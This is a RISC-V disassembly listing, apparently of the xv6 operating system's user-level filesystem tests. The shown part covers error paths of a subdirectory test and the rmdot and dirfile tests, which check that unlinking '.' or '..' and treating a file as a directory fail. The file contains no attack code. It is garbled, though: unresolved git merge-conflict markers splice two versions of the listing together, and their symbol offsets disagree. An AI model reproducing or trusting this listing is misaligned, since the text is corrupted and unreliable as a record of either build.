30ea: f2250513 addi a0,a0,-222 # 7008 <l_free+0x15a2>
30ee: 00002097 auipc ra,0x2
30f2: 756080e7 jalr 1878(ra) # 5844 <printf>
exit(1);
30f6: 4505 li a0,1
30f8: 00002097 auipc ra,0x2
30fc: 3d4080e7 jalr 980(ra) # 54cc <exit>
printf("%s: chdir dd/../../dd failed\n", s);
3100: 85ca mv a1,s2
3102: 00004517 auipc a0,0x4
3106: f2e50513 addi a0,a0,-210 # 7030 <l_free+0x15ca>
310a: 00002097 auipc ra,0x2
310e: 73a080e7 jalr 1850(ra) # 5844 <printf>
exit(1);
3112: 4505 li a0,1
3114: 00002097 auipc ra,0x2
3118: 3b8080e7 jalr 952(ra) # 54cc <exit>
printf("chdir dd/../../dd failed\n", s);
311c: 85ca mv a1,s2
311e: 00004517 auipc a0,0x4
3122: f4250513 addi a0,a0,-190 # 7060 <l_free+0x15fa>
3126: 00002097 auipc ra,0x2
312a: 71e080e7 jalr 1822(ra) # 5844 <printf>
exit(1);
312e: 4505 li a0,1
3130: 00002097 auipc ra,0x2
3134: 39c080e7 jalr 924(ra) # 54cc <exit>
printf("%s: chdir ./.. failed\n", s);
3138: 85ca mv a1,s2
313a: 00004517 auipc a0,0x4
313e: f4e50513 addi a0,a0,-178 # 7088 <l_free+0x1622>
3142: 00002097 auipc ra,0x2
3146: 702080e7 jalr 1794(ra) # 5844 <printf>
exit(1);
314a: 4505 li a0,1
314c: 00002097 auipc ra,0x2
3150: 380080e7 jalr 896(ra) # 54cc <exit>
printf("%s: open dd/dd/ffff failed\n", s);
3154: 85ca mv a1,s2
3156: 00004517 auipc a0,0x4
315a: f4a50513 addi a0,a0,-182 # 70a0 <l_free+0x163a>
315e: 00002097 auipc ra,0x2
3162: 6e6080e7 jalr 1766(ra) # 5844 <printf>
exit(1);
3166: 4505 li a0,1
3168: 00002097 auipc ra,0x2
316c: 364080e7 jalr 868(ra) # 54cc <exit>
printf("%s: read dd/dd/ffff wrong len\n", s);
3170: 85ca mv a1,s2
3172: 00004517 auipc a0,0x4
3176: f4e50513 addi a0,a0,-178 # 70c0 <l_free+0x165a>
317a: 00002097 auipc ra,0x2
317e: 6ca080e7 jalr 1738(ra) # 5844 <printf>
exit(1);
3182: 4505 li a0,1
3184: 00002097 auipc ra,0x2
3188: 348080e7 jalr 840(ra) # 54cc <exit>
printf("%s: open (unlinked) dd/dd/ff succeeded!\n", s);
318c: 85ca mv a1,s2
318e: 00004517 auipc a0,0x4
3192: f5250513 addi a0,a0,-174 # 70e0 <l_free+0x167a>
3196: 00002097 auipc ra,0x2
319a: 6ae080e7 jalr 1710(ra) # 5844 <printf>
exit(1);
319e: 4505 li a0,1
31a0: 00002097 auipc ra,0x2
31a4: 32c080e7 jalr 812(ra) # 54cc <exit>
printf("%s: create dd/ff/ff succeeded!\n", s);
31a8: 85ca mv a1,s2
31aa: 00004517 auipc a0,0x4
31ae: f7650513 addi a0,a0,-138 # 7120 <l_free+0x16ba>
31b2: 00002097 auipc ra,0x2
31b6: 692080e7 jalr 1682(ra) # 5844 <printf>
exit(1);
31ba: 4505 li a0,1
31bc: 00002097 auipc ra,0x2
31c0: 310080e7 jalr 784(ra) # 54cc <exit>
printf("%s: create dd/xx/ff succeeded!\n", s);
31c4: 85ca mv a1,s2
31c6: 00004517 auipc a0,0x4
31ca: f8a50513 addi a0,a0,-118 # 7150 <l_free+0x16ea>
31ce: 00002097 auipc ra,0x2
31d2: 676080e7 jalr 1654(ra) # 5844 <printf>
exit(1);
31d6: 4505 li a0,1
31d8: 00002097 auipc ra,0x2
31dc: 2f4080e7 jalr 756(ra) # 54cc <exit>
printf("%s: create dd succeeded!\n", s);
31e0: 85ca mv a1,s2
31e2: 00004517 auipc a0,0x4
31e6: f8e50513 addi a0,a0,-114 # 7170 <l_free+0x170a>
31ea: 00002097 auipc ra,0x2
31ee: 65a080e7 jalr 1626(ra) # 5844 <printf>
exit(1);
31f2: 4505 li a0,1
31f4: 00002097 auipc ra,0x2
31f8: 2d8080e7 jalr 728(ra) # 54cc <exit>
printf("%s: open dd rdwr succeeded!\n", s);
31fc: 85ca mv a1,s2
31fe: 00004517 auipc a0,0x4
3202: f9250513 addi a0,a0,-110 # 7190 <l_free+0x172a>
3206: 00002097 auipc ra,0x2
320a: 63e080e7 jalr 1598(ra) # 5844 <printf>
exit(1);
320e: 4505 li a0,1
3210: 00002097 auipc ra,0x2
3214: 2bc080e7 jalr 700(ra) # 54cc <exit>
printf("%s: open dd wronly succeeded!\n", s);
3218: 85ca mv a1,s2
321a: 00004517 auipc a0,0x4
321e: f9650513 addi a0,a0,-106 # 71b0 <l_free+0x174a>
3222: 00002097 auipc ra,0x2
3226: 622080e7 jalr 1570(ra) # 5844 <printf>
exit(1);
322a: 4505 li a0,1
322c: 00002097 auipc ra,0x2
3230: 2a0080e7 jalr 672(ra) # 54cc <exit>
printf("%s: link dd/ff/ff dd/dd/xx succeeded!\n", s);
3234: 85ca mv a1,s2
3236: 00004517 auipc a0,0x4
323a: faa50513 addi a0,a0,-86 # 71e0 <l_free+0x177a>
323e: 00002097 auipc ra,0x2
3242: 606080e7 jalr 1542(ra) # 5844 <printf>
exit(1);
3246: 4505 li a0,1
3248: 00002097 auipc ra,0x2
324c: 284080e7 jalr 644(ra) # 54cc <exit>
printf("%s: link dd/xx/ff dd/dd/xx succeeded!\n", s);
3250: 85ca mv a1,s2
3252: 00004517 auipc a0,0x4
3256: fb650513 addi a0,a0,-74 # 7208 <l_free+0x17a2>
325a: 00002097 auipc ra,0x2
325e: 5ea080e7 jalr 1514(ra) # 5844 <printf>
exit(1);
3262: 4505 li a0,1
3264: 00002097 auipc ra,0x2
3268: 268080e7 jalr 616(ra) # 54cc <exit>
printf("%s: link dd/ff dd/dd/ffff succeeded!\n", s);
326c: 85ca mv a1,s2
326e: 00004517 auipc a0,0x4
3272: fc250513 addi a0,a0,-62 # 7230 <l_free+0x17ca>
3276: 00002097 auipc ra,0x2
327a: 5ce080e7 jalr 1486(ra) # 5844 <printf>
exit(1);
327e: 4505 li a0,1
3280: 00002097 auipc ra,0x2
3284: 24c080e7 jalr 588(ra) # 54cc <exit>
printf("%s: mkdir dd/ff/ff succeeded!\n", s);
3288: 85ca mv a1,s2
328a: 00004517 auipc a0,0x4
328e: fce50513 addi a0,a0,-50 # 7258 <l_free+0x17f2>
3292: 00002097 auipc ra,0x2
3296: 5b2080e7 jalr 1458(ra) # 5844 <printf>
exit(1);
329a: 4505 li a0,1
329c: 00002097 auipc ra,0x2
32a0: 230080e7 jalr 560(ra) # 54cc <exit>
printf("%s: mkdir dd/xx/ff succeeded!\n", s);
32a4: 85ca mv a1,s2
32a6: 00004517 auipc a0,0x4
32aa: fd250513 addi a0,a0,-46 # 7278 <l_free+0x1812>
32ae: 00002097 auipc ra,0x2
32b2: 596080e7 jalr 1430(ra) # 5844 <printf>
exit(1);
32b6: 4505 li a0,1
32b8: 00002097 auipc ra,0x2
32bc: 214080e7 jalr 532(ra) # 54cc <exit>
printf("%s: mkdir dd/dd/ffff succeeded!\n", s);
32c0: 85ca mv a1,s2
32c2: 00004517 auipc a0,0x4
32c6: fd650513 addi a0,a0,-42 # 7298 <l_free+0x1832>
32ca: 00002097 auipc ra,0x2
32ce: 57a080e7 jalr 1402(ra) # 5844 <printf>
exit(1);
32d2: 4505 li a0,1
32d4: 00002097 auipc ra,0x2
32d8: 1f8080e7 jalr 504(ra) # 54cc <exit>
printf("%s: unlink dd/xx/ff succeeded!\n", s);
32dc: 85ca mv a1,s2
32de: 00004517 auipc a0,0x4
32e2: fe250513 addi a0,a0,-30 # 72c0 <l_free+0x185a>
32e6: 00002097 auipc ra,0x2
32ea: 55e080e7 jalr 1374(ra) # 5844 <printf>
exit(1);
32ee: 4505 li a0,1
32f0: 00002097 auipc ra,0x2
32f4: 1dc080e7 jalr 476(ra) # 54cc <exit>
printf("%s: unlink dd/ff/ff succeeded!\n", s);
32f8: 85ca mv a1,s2
32fa: 00004517 auipc a0,0x4
32fe: fe650513 addi a0,a0,-26 # 72e0 <l_free+0x187a>
3302: 00002097 auipc ra,0x2
3306: 542080e7 jalr 1346(ra) # 5844 <printf>
exit(1);
330a: 4505 li a0,1
330c: 00002097 auipc ra,0x2
3310: 1c0080e7 jalr 448(ra) # 54cc <exit>
printf("%s: chdir dd/ff succeeded!\n", s);
3314: 85ca mv a1,s2
3316: 00004517 auipc a0,0x4
331a: fea50513 addi a0,a0,-22 # 7300 <l_free+0x189a>
331e: 00002097 auipc ra,0x2
3322: 526080e7 jalr 1318(ra) # 5844 <printf>
exit(1);
3326: 4505 li a0,1
3328: 00002097 auipc ra,0x2
332c: 1a4080e7 jalr 420(ra) # 54cc <exit>
printf("%s: chdir dd/xx succeeded!\n", s);
3330: 85ca mv a1,s2
3332: 00004517 auipc a0,0x4
3336: ff650513 addi a0,a0,-10 # 7328 <l_free+0x18c2>
333a: 00002097 auipc ra,0x2
333e: 50a080e7 jalr 1290(ra) # 5844 <printf>
exit(1);
3342: 4505 li a0,1
3344: 00002097 auipc ra,0x2
3348: 188080e7 jalr 392(ra) # 54cc <exit>
printf("%s: unlink dd/dd/ff failed\n", s);
334c: 85ca mv a1,s2
334e: 00004517 auipc a0,0x4
3352: c7250513 addi a0,a0,-910 # 6fc0 <l_free+0x155a>
3356: 00002097 auipc ra,0x2
335a: 4ee080e7 jalr 1262(ra) # 5844 <printf>
exit(1);
335e: 4505 li a0,1
3360: 00002097 auipc ra,0x2
3364: 16c080e7 jalr 364(ra) # 54cc <exit>
printf("%s: unlink dd/ff failed\n", s);
3368: 85ca mv a1,s2
336a: 00004517 auipc a0,0x4
336e: fde50513 addi a0,a0,-34 # 7348 <l_free+0x18e2>
3372: 00002097 auipc ra,0x2
3376: 4d2080e7 jalr 1234(ra) # 5844 <printf>
exit(1);
337a: 4505 li a0,1
337c: 00002097 auipc ra,0x2
3380: 150080e7 jalr 336(ra) # 54cc <exit>
printf("%s: unlink non-empty dd succeeded!\n", s);
3384: 85ca mv a1,s2
3386: 00004517 auipc a0,0x4
338a: fe250513 addi a0,a0,-30 # 7368 <l_free+0x1902>
338e: 00002097 auipc ra,0x2
3392: 4b6080e7 jalr 1206(ra) # 5844 <printf>
exit(1);
3396: 4505 li a0,1
3398: 00002097 auipc ra,0x2
339c: 134080e7 jalr 308(ra) # 54cc <exit>
printf("%s: unlink dd/dd failed\n", s);
33a0: 85ca mv a1,s2
33a2: 00004517 auipc a0,0x4
33a6: ff650513 addi a0,a0,-10 # 7398 <l_free+0x1932>
33aa: 00002097 auipc ra,0x2
33ae: 49a080e7 jalr 1178(ra) # 5844 <printf>
exit(1);
33b2: 4505 li a0,1
33b4: 00002097 auipc ra,0x2
33b8: 118080e7 jalr 280(ra) # 54cc <exit>
printf("%s: unlink dd failed\n", s);
33bc: 85ca mv a1,s2
33be: 00004517 auipc a0,0x4
33c2: ffa50513 addi a0,a0,-6 # 73b8 <l_free+0x1952>
33c6: 00002097 auipc ra,0x2
33ca: 47e080e7 jalr 1150(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
33ce: 4505 li a0,1
33d0: 00002097 auipc ra,0x2
33d4: 0fc080e7 jalr 252(ra) # 54cc <exit>
00000000000033d8 <rmdot>:
<<<<<<< HEAD
=======
void rmdot(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
33d8: 1101 addi sp,sp,-32
33da: ec06 sd ra,24(sp)
33dc: e822 sd s0,16(sp)
33de: e426 sd s1,8(sp)
33e0: 1000 addi s0,sp,32
33e2: 84aa mv s1,a0
<<<<<<< HEAD
33e4: 00004517 auipc a0,0x4
33e8: fec50513 addi a0,a0,-20 # 73d0 <l_free+0x1968>
33ec: 00002097 auipc ra,0x2
33f0: 148080e7 jalr 328(ra) # 5534 <mkdir>
33f4: e549 bnez a0,347e <rmdot+0xa6>
33f6: 00004517 auipc a0,0x4
33fa: fda50513 addi a0,a0,-38 # 73d0 <l_free+0x1968>
33fe: 00002097 auipc ra,0x2
3402: 13e080e7 jalr 318(ra) # 553c <chdir>
3406: e951 bnez a0,349a <rmdot+0xc2>
3408: 00003517 auipc a0,0x3
340c: f8850513 addi a0,a0,-120 # 6390 <l_free+0x928>
3410: 00002097 auipc ra,0x2
3414: 10c080e7 jalr 268(ra) # 551c <unlink>
3418: cd59 beqz a0,34b6 <rmdot+0xde>
341a: 00004517 auipc a0,0x4
341e: 00650513 addi a0,a0,6 # 7420 <l_free+0x19b8>
3422: 00002097 auipc ra,0x2
3426: 0fa080e7 jalr 250(ra) # 551c <unlink>
342a: c545 beqz a0,34d2 <rmdot+0xfa>
342c: 00004517 auipc a0,0x4
3430: 9fc50513 addi a0,a0,-1540 # 6e28 <l_free+0x13c0>
3434: 00002097 auipc ra,0x2
3438: 108080e7 jalr 264(ra) # 553c <chdir>
343c: e94d bnez a0,34ee <rmdot+0x116>
343e: 00004517 auipc a0,0x4
3442: 00250513 addi a0,a0,2 # 7440 <l_free+0x19d8>
3446: 00002097 auipc ra,0x2
344a: 0d6080e7 jalr 214(ra) # 551c <unlink>
344e: cd55 beqz a0,350a <rmdot+0x132>
3450: 00004517 auipc a0,0x4
3454: 01850513 addi a0,a0,24 # 7468 <l_free+0x1a00>
3458: 00002097 auipc ra,0x2
345c: 0c4080e7 jalr 196(ra) # 551c <unlink>
3460: c179 beqz a0,3526 <rmdot+0x14e>
3462: 00004517 auipc a0,0x4
3466: f6e50513 addi a0,a0,-146 # 73d0 <l_free+0x1968>
346a: 00002097 auipc ra,0x2
346e: 0b2080e7 jalr 178(ra) # 551c <unlink>
3472: e961 bnez a0,3542 <rmdot+0x16a>
=======
if (mkdir("dots") != 0) {
33e4: 00004517 auipc a0,0x4
33e8: fec50513 addi a0,a0,-20 # 73d0 <l_free+0x196a>
33ec: 00002097 auipc ra,0x2
33f0: 148080e7 jalr 328(ra) # 5534 <mkdir>
33f4: e549 bnez a0,347e <rmdot+0xa6>
if (chdir("dots") != 0) {
33f6: 00004517 auipc a0,0x4
33fa: fda50513 addi a0,a0,-38 # 73d0 <l_free+0x196a>
33fe: 00002097 auipc ra,0x2
3402: 13e080e7 jalr 318(ra) # 553c <chdir>
3406: e951 bnez a0,349a <rmdot+0xc2>
if (unlink(".") == 0) {
3408: 00003517 auipc a0,0x3
340c: f8850513 addi a0,a0,-120 # 6390 <l_free+0x92a>
3410: 00002097 auipc ra,0x2
3414: 10c080e7 jalr 268(ra) # 551c <unlink>
3418: cd59 beqz a0,34b6 <rmdot+0xde>
if (unlink("..") == 0) {
341a: 00004517 auipc a0,0x4
341e: 00650513 addi a0,a0,6 # 7420 <l_free+0x19ba>
3422: 00002097 auipc ra,0x2
3426: 0fa080e7 jalr 250(ra) # 551c <unlink>
342a: c545 beqz a0,34d2 <rmdot+0xfa>
if (chdir("/") != 0) {
342c: 00004517 auipc a0,0x4
3430: 9fc50513 addi a0,a0,-1540 # 6e28 <l_free+0x13c2>
3434: 00002097 auipc ra,0x2
3438: 108080e7 jalr 264(ra) # 553c <chdir>
343c: e94d bnez a0,34ee <rmdot+0x116>
if (unlink("dots/.") == 0) {
343e: 00004517 auipc a0,0x4
3442: 00250513 addi a0,a0,2 # 7440 <l_free+0x19da>
3446: 00002097 auipc ra,0x2
344a: 0d6080e7 jalr 214(ra) # 551c <unlink>
344e: cd55 beqz a0,350a <rmdot+0x132>
if (unlink("dots/..") == 0) {
3450: 00004517 auipc a0,0x4
3454: 01850513 addi a0,a0,24 # 7468 <l_free+0x1a02>
3458: 00002097 auipc ra,0x2
345c: 0c4080e7 jalr 196(ra) # 551c <unlink>
3460: c179 beqz a0,3526 <rmdot+0x14e>
if (unlink("dots") != 0) {
3462: 00004517 auipc a0,0x4
3466: f6e50513 addi a0,a0,-146 # 73d0 <l_free+0x196a>
346a: 00002097 auipc ra,0x2
346e: 0b2080e7 jalr 178(ra) # 551c <unlink>
3472: e961 bnez a0,3542 <rmdot+0x16a>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3474: 60e2 ld ra,24(sp)
3476: 6442 ld s0,16(sp)
3478: 64a2 ld s1,8(sp)
347a: 6105 addi sp,sp,32
347c: 8082 ret
<<<<<<< HEAD
347e: 85a6 mv a1,s1
3480: 00004517 auipc a0,0x4
3484: f5850513 addi a0,a0,-168 # 73d8 <l_free+0x1970>
3488: 00002097 auipc ra,0x2
348c: 3be080e7 jalr 958(ra) # 5846 <printf>
3490: 4505 li a0,1
3492: 00002097 auipc ra,0x2
3496: 03a080e7 jalr 58(ra) # 54cc <exit>
349a: 85a6 mv a1,s1
349c: 00004517 auipc a0,0x4
34a0: f5450513 addi a0,a0,-172 # 73f0 <l_free+0x1988>
34a4: 00002097 auipc ra,0x2
34a8: 3a2080e7 jalr 930(ra) # 5846 <printf>
34ac: 4505 li a0,1
34ae: 00002097 auipc ra,0x2
34b2: 01e080e7 jalr 30(ra) # 54cc <exit>
34b6: 85a6 mv a1,s1
34b8: 00004517 auipc a0,0x4
34bc: f5050513 addi a0,a0,-176 # 7408 <l_free+0x19a0>
34c0: 00002097 auipc ra,0x2
34c4: 386080e7 jalr 902(ra) # 5846 <printf>
34c8: 4505 li a0,1
34ca: 00002097 auipc ra,0x2
34ce: 002080e7 jalr 2(ra) # 54cc <exit>
34d2: 85a6 mv a1,s1
34d4: 00004517 auipc a0,0x4
34d8: f5450513 addi a0,a0,-172 # 7428 <l_free+0x19c0>
34dc: 00002097 auipc ra,0x2
34e0: 36a080e7 jalr 874(ra) # 5846 <printf>
34e4: 4505 li a0,1
34e6: 00002097 auipc ra,0x2
34ea: fe6080e7 jalr -26(ra) # 54cc <exit>
34ee: 85a6 mv a1,s1
34f0: 00004517 auipc a0,0x4
34f4: 94050513 addi a0,a0,-1728 # 6e30 <l_free+0x13c8>
34f8: 00002097 auipc ra,0x2
34fc: 34e080e7 jalr 846(ra) # 5846 <printf>
3500: 4505 li a0,1
3502: 00002097 auipc ra,0x2
3506: fca080e7 jalr -54(ra) # 54cc <exit>
350a: 85a6 mv a1,s1
350c: 00004517 auipc a0,0x4
3510: f3c50513 addi a0,a0,-196 # 7448 <l_free+0x19e0>
3514: 00002097 auipc ra,0x2
3518: 332080e7 jalr 818(ra) # 5846 <printf>
351c: 4505 li a0,1
351e: 00002097 auipc ra,0x2
3522: fae080e7 jalr -82(ra) # 54cc <exit>
3526: 85a6 mv a1,s1
3528: 00004517 auipc a0,0x4
352c: f4850513 addi a0,a0,-184 # 7470 <l_free+0x1a08>
3530: 00002097 auipc ra,0x2
3534: 316080e7 jalr 790(ra) # 5846 <printf>
3538: 4505 li a0,1
353a: 00002097 auipc ra,0x2
353e: f92080e7 jalr -110(ra) # 54cc <exit>
3542: 85a6 mv a1,s1
3544: 00004517 auipc a0,0x4
3548: f4c50513 addi a0,a0,-180 # 7490 <l_free+0x1a28>
354c: 00002097 auipc ra,0x2
3550: 2fa080e7 jalr 762(ra) # 5846 <printf>
=======
printf("%s: mkdir dots failed\n", s);
347e: 85a6 mv a1,s1
3480: 00004517 auipc a0,0x4
3484: f5850513 addi a0,a0,-168 # 73d8 <l_free+0x1972>
3488: 00002097 auipc ra,0x2
348c: 3bc080e7 jalr 956(ra) # 5844 <printf>
exit(1);
3490: 4505 li a0,1
3492: 00002097 auipc ra,0x2
3496: 03a080e7 jalr 58(ra) # 54cc <exit>
printf("%s: chdir dots failed\n", s);
349a: 85a6 mv a1,s1
349c: 00004517 auipc a0,0x4
34a0: f5450513 addi a0,a0,-172 # 73f0 <l_free+0x198a>
34a4: 00002097 auipc ra,0x2
34a8: 3a0080e7 jalr 928(ra) # 5844 <printf>
exit(1);
34ac: 4505 li a0,1
34ae: 00002097 auipc ra,0x2
34b2: 01e080e7 jalr 30(ra) # 54cc <exit>
printf("%s: rm . worked!\n", s);
34b6: 85a6 mv a1,s1
34b8: 00004517 auipc a0,0x4
34bc: f5050513 addi a0,a0,-176 # 7408 <l_free+0x19a2>
34c0: 00002097 auipc ra,0x2
34c4: 384080e7 jalr 900(ra) # 5844 <printf>
exit(1);
34c8: 4505 li a0,1
34ca: 00002097 auipc ra,0x2
34ce: 002080e7 jalr 2(ra) # 54cc <exit>
printf("%s: rm .. worked!\n", s);
34d2: 85a6 mv a1,s1
34d4: 00004517 auipc a0,0x4
34d8: f5450513 addi a0,a0,-172 # 7428 <l_free+0x19c2>
34dc: 00002097 auipc ra,0x2
34e0: 368080e7 jalr 872(ra) # 5844 <printf>
exit(1);
34e4: 4505 li a0,1
34e6: 00002097 auipc ra,0x2
34ea: fe6080e7 jalr -26(ra) # 54cc <exit>
printf("%s: chdir / failed\n", s);
34ee: 85a6 mv a1,s1
34f0: 00004517 auipc a0,0x4
34f4: 94050513 addi a0,a0,-1728 # 6e30 <l_free+0x13ca>
34f8: 00002097 auipc ra,0x2
34fc: 34c080e7 jalr 844(ra) # 5844 <printf>
exit(1);
3500: 4505 li a0,1
3502: 00002097 auipc ra,0x2
3506: fca080e7 jalr -54(ra) # 54cc <exit>
printf("%s: unlink dots/. worked!\n", s);
350a: 85a6 mv a1,s1
350c: 00004517 auipc a0,0x4
3510: f3c50513 addi a0,a0,-196 # 7448 <l_free+0x19e2>
3514: 00002097 auipc ra,0x2
3518: 330080e7 jalr 816(ra) # 5844 <printf>
exit(1);
351c: 4505 li a0,1
351e: 00002097 auipc ra,0x2
3522: fae080e7 jalr -82(ra) # 54cc <exit>
printf("%s: unlink dots/.. worked!\n", s);
3526: 85a6 mv a1,s1
3528: 00004517 auipc a0,0x4
352c: f4850513 addi a0,a0,-184 # 7470 <l_free+0x1a0a>
3530: 00002097 auipc ra,0x2
3534: 314080e7 jalr 788(ra) # 5844 <printf>
exit(1);
3538: 4505 li a0,1
353a: 00002097 auipc ra,0x2
353e: f92080e7 jalr -110(ra) # 54cc <exit>
printf("%s: unlink dots failed!\n", s);
3542: 85a6 mv a1,s1
3544: 00004517 auipc a0,0x4
3548: f4c50513 addi a0,a0,-180 # 7490 <l_free+0x1a2a>
354c: 00002097 auipc ra,0x2
3550: 2f8080e7 jalr 760(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3554: 4505 li a0,1
3556: 00002097 auipc ra,0x2
355a: f76080e7 jalr -138(ra) # 54cc <exit>
000000000000355e <dirfile>:
<<<<<<< HEAD
=======
void dirfile(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
355e: 1101 addi sp,sp,-32
3560: ec06 sd ra,24(sp)
3562: e822 sd s0,16(sp)
3564: e426 sd s1,8(sp)
3566: e04a sd s2,0(sp)
3568: 1000 addi s0,sp,32
356a: 892a mv s2,a0
<<<<<<< HEAD
356c: 20000593 li a1,512
3570: 00002517 auipc a0,0x2
3574: 7e850513 addi a0,a0,2024 # 5d58 <l_free+0x2f0>
3578: 00002097 auipc ra,0x2
357c: f94080e7 jalr -108(ra) # 550c <open>
3580: 0e054d63 bltz a0,367a <dirfile+0x11c>
3584: 00002097 auipc ra,0x2
3588: f70080e7 jalr -144(ra) # 54f4 <close>
358c: 00002517 auipc a0,0x2
3590: 7cc50513 addi a0,a0,1996 # 5d58 <l_free+0x2f0>
3594: 00002097 auipc ra,0x2
3598: fa8080e7 jalr -88(ra) # 553c <chdir>
359c: cd6d beqz a0,3696 <dirfile+0x138>
359e: 4581 li a1,0
35a0: 00004517 auipc a0,0x4
35a4: f5050513 addi a0,a0,-176 # 74f0 <l_free+0x1a88>
35a8: 00002097 auipc ra,0x2
35ac: f64080e7 jalr -156(ra) # 550c <open>
35b0: 10055163 bgez a0,36b2 <dirfile+0x154>
35b4: 20000593 li a1,512
35b8: 00004517 auipc a0,0x4
35bc: f3850513 addi a0,a0,-200 # 74f0 <l_free+0x1a88>
35c0: 00002097 auipc ra,0x2
35c4: f4c080e7 jalr -180(ra) # 550c <open>
35c8: 10055363 bgez a0,36ce <dirfile+0x170>
35cc: 00004517 auipc a0,0x4
35d0: f2450513 addi a0,a0,-220 # 74f0 <l_free+0x1a88>
35d4: 00002097 auipc ra,0x2
35d8: f60080e7 jalr -160(ra) # 5534 <mkdir>
35dc: 10050763 beqz a0,36ea <dirfile+0x18c>
35e0: 00004517 auipc a0,0x4
35e4: f1050513 addi a0,a0,-240 # 74f0 <l_free+0x1a88>
35e8: 00002097 auipc ra,0x2
35ec: f34080e7 jalr -204(ra) # 551c <unlink>
35f0: 10050b63 beqz a0,3706 <dirfile+0x1a8>
35f4: 00004597 auipc a1,0x4
35f8: efc58593 addi a1,a1,-260 # 74f0 <l_free+0x1a88>
35fc: 00003517 auipc a0,0x3
3600: 98450513 addi a0,a0,-1660 # 5f80 <l_free+0x518>
3604: 00002097 auipc ra,0x2
3608: f28080e7 jalr -216(ra) # 552c <link>
360c: 10050b63 beqz a0,3722 <dirfile+0x1c4>
3610: 00002517 auipc a0,0x2
3614: 74850513 addi a0,a0,1864 # 5d58 <l_free+0x2f0>
3618: 00002097 auipc ra,0x2
361c: f04080e7 jalr -252(ra) # 551c <unlink>
3620: 10051f63 bnez a0,373e <dirfile+0x1e0>
3624: 4589 li a1,2
3626: 00003517 auipc a0,0x3
362a: d6a50513 addi a0,a0,-662 # 6390 <l_free+0x928>
362e: 00002097 auipc ra,0x2
3632: ede080e7 jalr -290(ra) # 550c <open>
3636: 12055263 bgez a0,375a <dirfile+0x1fc>
363a: 4581 li a1,0
363c: 00003517 auipc a0,0x3
3640: d5450513 addi a0,a0,-684 # 6390 <l_free+0x928>
3644: 00002097 auipc ra,0x2
3648: ec8080e7 jalr -312(ra) # 550c <open>
364c: 84aa mv s1,a0
364e: 4605 li a2,1
3650: 00002597 auipc a1,0x2
3654: 7d858593 addi a1,a1,2008 # 5e28 <l_free+0x3c0>
3658: 00002097 auipc ra,0x2
365c: e94080e7 jalr -364(ra) # 54ec <write>
3660: 10a04b63 bgtz a0,3776 <dirfile+0x218>
3664: 8526 mv a0,s1
3666: 00002097 auipc ra,0x2
366a: e8e080e7 jalr -370(ra) # 54f4 <close>
=======
fd = open("dirfile", O_CREATE);
356c: 20000593 li a1,512
3570: 00002517 auipc a0,0x2
3574: 7e850513 addi a0,a0,2024 # 5d58 <l_free+0x2f2>
3578: 00002097 auipc ra,0x2
357c: f94080e7 jalr -108(ra) # 550c <open>
if (fd < 0) {
3580: 0e054d63 bltz a0,367a <dirfile+0x11c>
close(fd);
3584: 00002097 auipc ra,0x2
3588: f70080e7 jalr -144(ra) # 54f4 <close>
if (chdir("dirfile") == 0) {
358c: 00002517 auipc a0,0x2
3590: 7cc50513 addi a0,a0,1996 # 5d58 <l_free+0x2f2>
3594: 00002097 auipc ra,0x2
3598: fa8080e7 jalr -88(ra) # 553c <chdir>
359c: cd6d beqz a0,3696 <dirfile+0x138>
fd = open("dirfile/xx", 0);
359e: 4581 li a1,0
35a0: 00004517 auipc a0,0x4
35a4: f5050513 addi a0,a0,-176 # 74f0 <l_free+0x1a8a>
35a8: 00002097 auipc ra,0x2
35ac: f64080e7 jalr -156(ra) # 550c <open>
if (fd >= 0) {
35b0: 10055163 bgez a0,36b2 <dirfile+0x154>
fd = open("dirfile/xx", O_CREATE);
35b4: 20000593 li a1,512
35b8: 00004517 auipc a0,0x4
35bc: f3850513 addi a0,a0,-200 # 74f0 <l_free+0x1a8a>
35c0: 00002097 auipc ra,0x2
35c4: f4c080e7 jalr -180(ra) # 550c <open>
if (fd >= 0) {
35c8: 10055363 bgez a0,36ce <dirfile+0x170>
if (mkdir("dirfile/xx") == 0) {
35cc: 00004517 auipc a0,0x4
35d0: f2450513 addi a0,a0,-220 # 74f0 <l_free+0x1a8a>
35d4: 00002097 auipc ra,0x2
35d8: f60080e7 jalr -160(ra) # 5534 <mkdir>
35dc: 10050763 beqz a0,36ea <dirfile+0x18c>
if (unlink("dirfile/xx") == 0) {
35e0: 00004517 auipc a0,0x4
35e4: f1050513 addi a0,a0,-240 # 74f0 <l_free+0x1a8a>
35e8: 00002097 auipc ra,0x2
35ec: f34080e7 jalr -204(ra) # 551c <unlink>
35f0: 10050b63 beqz a0,3706 <dirfile+0x1a8>
if (link("README", "dirfile/xx") == 0) {
35f4: 00004597 auipc a1,0x4
35f8: efc58593 addi a1,a1,-260 # 74f0 <l_free+0x1a8a>
35fc: 00003517 auipc a0,0x3
3600: 98450513 addi a0,a0,-1660 # 5f80 <l_free+0x51a>
3604: 00002097 auipc ra,0x2
3608: f28080e7 jalr -216(ra) # 552c <link>
360c: 10050b63 beqz a0,3722 <dirfile+0x1c4>
if (unlink("dirfile") != 0) {
3610: 00002517 auipc a0,0x2
3614: 74850513 addi a0,a0,1864 # 5d58 <l_free+0x2f2>
3618: 00002097 auipc ra,0x2
361c: f04080e7 jalr -252(ra) # 551c <unlink>
3620: 10051f63 bnez a0,373e <dirfile+0x1e0>
fd = open(".", O_RDWR);
3624: 4589 li a1,2
3626: 00003517 auipc a0,0x3
362a: d6a50513 addi a0,a0,-662 # 6390 <l_free+0x92a>
362e: 00002097 auipc ra,0x2
3632: ede080e7 jalr -290(ra) # 550c <open>
if (fd >= 0) {
3636: 12055263 bgez a0,375a <dirfile+0x1fc>
fd = open(".", 0);
363a: 4581 li a1,0
363c: 00003517 auipc a0,0x3
3640: d5450513 addi a0,a0,-684 # 6390 <l_free+0x92a>
3644: 00002097 auipc ra,0x2
3648: ec8080e7 jalr -312(ra) # 550c <open>
364c: 84aa mv s1,a0
if (write(fd, "x", 1) > 0) {
364e: 4605 li a2,1
3650: 00002597 auipc a1,0x2
3654: 7d858593 addi a1,a1,2008 # 5e28 <l_free+0x3c2>
3658: 00002097 auipc ra,0x2
365c: e94080e7 jalr -364(ra) # 54ec <write>
